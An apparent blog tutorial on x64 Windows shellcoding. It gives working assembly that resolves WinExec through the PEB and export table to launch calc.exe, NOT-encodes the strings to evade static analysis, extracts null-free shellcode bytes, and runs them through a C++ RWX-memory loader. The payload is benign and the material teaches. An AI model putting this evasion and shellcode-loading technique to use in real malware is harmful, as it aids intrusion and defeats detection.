x64 Assembly & Shellcoding 101 - Part 4
Hey all! This will be a shorter post today, so I’ll get right to it. Let’s talk shellcode basic encoding functionality built in to x64 assembly instructions. What we’re really talking about here is bitwise operations. I’m going to use the NOT
bitwise command to ‘encode’ all strings within our assembly code. This way, it’s harder for static analysis efforts to succeed when searching for strings 😸 I took the liberty of trimming up the code we’ve been using to execute calc.exe using WinExec. I’ll likely go back and retroactively clean up some code in the previous posts in this series at some point too.
Here’s the portion of code with the NOT
instruction added after the string. I have already performed a NOT against the original unencoded string so these NOT
instructions are to perform decoding operations.
mov rax, 0x6F9C9A87BA9196A8 ; WinExec 'encoded'
not rax
mov rax, 0x9A879AD19C939E9C ; encoded calc.exe ;)
not rax
and the full code below:
;nasm -fwin64 [x64findkernel32.asm]
;ld -m i386pep -o x64findkernel32.exe x64findkernel32.obj
BITS 64
SECTION .text
global main
main:
sub rsp, 0x28
and rsp, 0xFFFFFFFFFFFFFFF0
xor rcx, rcx ; RCX = 0
mov rax, [gs:rcx + 0x60] ; RAX = PEB
mov rax, [rax + 0x18] ; RAX = PEB->Ldr
mov rsi,[rax+0x10] ;PEB.Ldr->InMemOrderModuleList
mov rsi, [rsi]
mov rsi,[rsi]
mov rbx, [rsi+0x30] ;kernel32.dll base address
mov r8, rbx ; mov kernel32.dll base addr into r8
;Code for parsing Export Address Table
mov ebx, [rbx+0x3C] ; Get Kernel32 PE Signature (offset 0x3C) into EBX
add rbx, r8 ; Add signature offset to kernel32 base. Store in RBX.
xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
add cx, 0x88ff
shr rcx, 0x8 ; RCX = 0x88ff --> 0x88
mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
add rdx, r8 ; RDX = kernel32.dll + RVA ExportTable = ExportTable Address
mov r10d, [rdx+0x14] ; Number of functions
xor r11, r11 ; Zero R11 before use
mov r11d, [rdx+0x20] ; AddressOfNames RVA
add r11, r8 ; AddressOfNames VMA
mov rcx, r10 ; Set loop counter
mov rax, 0x6F9C9A87BA9196A8 ; WinExec 'encoded'
not rax
shl rax, 0x8
shr rax, 0x8
push rax
mov rax, rsp
add rsp, 0x8
kernel32findfunction: ; Loop over Export Address Table to find WinApi names
jecxz FunctionNameNotFound ; Loop around this function until we find WinExec
xor ebx,ebx ; Zero EBX for use
mov ebx, [r11+rcx*4] ; EBX = RVA for first AddressOfName
add rbx, r8 ; RBX = Function name VMA / add kernel32 base address to RVA and get WinApi name
dec rcx ; Decrement our loop by one, this goes from Z to A
mov r9, qword [rax] ; R9 = "our API"
cmp [rbx], r9 ; Compare all bytes
jz FunctionNameFound ; If match, function found
jnz kernel32findfunction
FunctionNameNotFound:
int3
FunctionNameFound: ; Get function address from AddressOfFunctions
inc ecx ; increase counter by 1 to account for decrement in loop
xor r11, r11
mov r11d, [rdx+0x1c] ; AddressOfFunctions RVA
add r11, r8 ; AddressOfFunctions VMA in R11. Kernel32+RVA for addressoffunctions
mov r15d, [r11+rcx*4] ; Get the function RVA.
add r15, r8 ; Found the Winexec WinApi and all the while skipping ordinal lookup! w00t!
xor rax, rax
push rax
mov rax, 0x9A879AD19C939E9C ; encoded calc.exe ;)
not rax
push rax
mov rcx, rsp
xor rdx, rdx
inc rdx
sub rsp, 0x30
call r15 ; Call WinExec
Here’s a lame trick you can use if you want to decode / encode using NOT
without having to use assembly. Use the calculator! Yes, we’re going to use the calculator. I can’t seem to get enough of it, it seems. 😸
This gives us the original, unencoded string:
This is nice because you can quickly decode and encode your strings to make sure everything is in working order before committing to your code. As always, we want to strip this down to just shellcode, make sure it has no NULLs, and execute it! We’ll start with the basic objdump output to work off of:
winexec_nonulls.o: file format pe-x86-64
Disassembly of section .text:
0000000000000000 <main>:
0: 48 83 ec 28 sub $0x28,%rsp
4: 48 83 e4 f0 and $0xfffffffffffffff0,%rsp
8: 48 31 c9 xor %rcx,%rcx
b: 65 48 8b 41 60 mov %gs:0x60(%rcx),%rax
10: 48 8b 40 18 mov 0x18(%rax),%rax
14: 48 8b 70 10 mov 0x10(%rax),%rsi
18: 48 8b 36 mov (%rsi),%rsi
1b: 48 8b 36 mov (%rsi),%rsi
1e: 48 8b 5e 30 mov 0x30(%rsi),%rbx
22: 49 89 d8 mov %rbx,%r8
25: 8b 5b 3c mov 0x3c(%rbx),%ebx
28: 4c 01 c3 add %r8,%rbx
2b: 48 31 c9 xor %rcx,%rcx
2e: 66 81 c1 ff 88 add $0x88ff,%cx
33: 48 c1 e9 08 shr $0x8,%rcx
37: 8b 14 0b mov (%rbx,%rcx,1),%edx
3a: 4c 01 c2 add %r8,%rdx
3d: 44 8b 52 14 mov 0x14(%rdx),%r10d
41: 4d 31 db xor %r11,%r11
44: 44 8b 5a 20 mov 0x20(%rdx),%r11d
48: 4d 01 c3 add %r8,%r11
4b: 4c 89 d1 mov %r10,%rcx
4e: 48 b8 a8 96 91 ba 87 movabs $0x6f9c9a87ba9196a8,%rax
55: 9a 9c 6f
58: 48 f7 d0 not %rax
5b: 48 c1 e0 08 shl $0x8,%rax
5f: 48 c1 e8 08 shr $0x8,%rax
63: 50 push %rax
64: 48 89 e0 mov %rsp,%rax
67: 48 83 c4 08 add $0x8,%rsp
000000000000006b <kernel32findfunction>:
6b: 67 e3 16 jecxz 84 <FunctionNameNotFound>
6e: 31 db xor %ebx,%ebx
70: 41 8b 1c 8b mov (%r11,%rcx,4),%ebx
74: 4c 01 c3 add %r8,%rbx
77: 48 ff c9 dec %rcx
7a: 4c 8b 08 mov (%rax),%r9
7d: 4c 39 0b cmp %r9,(%rbx)
80: 74 03 je 85 <FunctionNameFound>
82: 75 e7 jne 6b <kernel32findfunction>
0000000000000084 <FunctionNameNotFound>:
84: cc int3
0000000000000085 <FunctionNameFound>:
85: ff c1 inc %ecx
87: 4d 31 db xor %r11,%r11
8a: 44 8b 5a 1c mov 0x1c(%rdx),%r11d
8e: 4d 01 c3 add %r8,%r11
91: 45 8b 3c 8b mov (%r11,%rcx,4),%r15d
95: 4d 01 c7 add %r8,%r15
98: 48 31 c0 xor %rax,%rax
9b: 50 push %rax
9c: 48 b8 9c 9e 93 9c d1 movabs $0x9a879ad19c939e9c,%rax
a3: 9a 87 9a
a6: 48 f7 d0 not %rax
a9: 50 push %rax
aa: 48 89 e1 mov %rsp,%rcx
ad: 48 31 d2 xor %rdx,%rdx
b0: 48 ff c2 inc %rdx
b3: 48 83 ec 30 sub $0x30,%rsp
b7: 41 ff d7 call *%r15
Let’s get only the shellcode:
-
nasm -fwin64 winexec_nonulls.asm -o winexec_nonulls.o
-
for i in $(objdump -D winexec_nonulls.o | grep “^ “ | cut -f2); do echo -n “\x$i” ; done
Now, pop it into your c++ program and let er rip!
#include <windows.h>
#include <iostream>
unsigned char shellcode[] =
"\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x41"
"\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\x8b\x36\x48\x8b\x36"
"\x48\x8b\x5e\x30\x49\x89\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31"
"\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01"
"\xc2\x44\x8b\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3"
"\x4c\x89\xd1\x48\xb8\xa8\x96\x91\xba\x87\x9a\x9c\x6f\x48\xf7"
"\xd0\x48\xc1\xe0\x08\x48\xc1\xe8\x08\x50\x48\x89\xe0\x48\x83"
"\xc4\x08\x67\xe3\x16\x31\xdb\x41\x8b\x1c\x8b\x4c\x01\xc3\x48"
"\xff\xc9\x4c\x8b\x08\x4c\x39\x0b\x74\x03\x75\xe7\xcc\xff\xc1"
"\x4d\x31\xdb\x44\x8b\x5a\x1c\x4d\x01\xc3\x45\x8b\x3c\x8b\x4d"
"\x01\xc7\x48\x31\xc0\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87"
"\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\x31\xd2\x48\xff\xc2\x48"
"\x83\xec\x30\x41\xff\xd7";
int main() {
void* exec_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (exec_mem == nullptr) {
std::cerr << "Memory allocation failed\n";
return -1;
}
memcpy(exec_mem, shellcode, sizeof(shellcode));
auto shellcode_func = reinterpret_cast<void(*)()>(exec_mem);
shellcode_func();
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 0;
}
Forgot to mention, if you compile the exe and search for strings, you won’t find winexec or calc, well…you’ll see winexec_nonull since that’s the filename, but not WinExec
and calc.exe
. In a real world setting I’d change that. 😄 Check it out:
And that’s a wrap folks! Maybe eventually I’ll get around to moving beyond WinExec and onto other apis lol. It’ll happen…but until then take it easy!
Leave a comment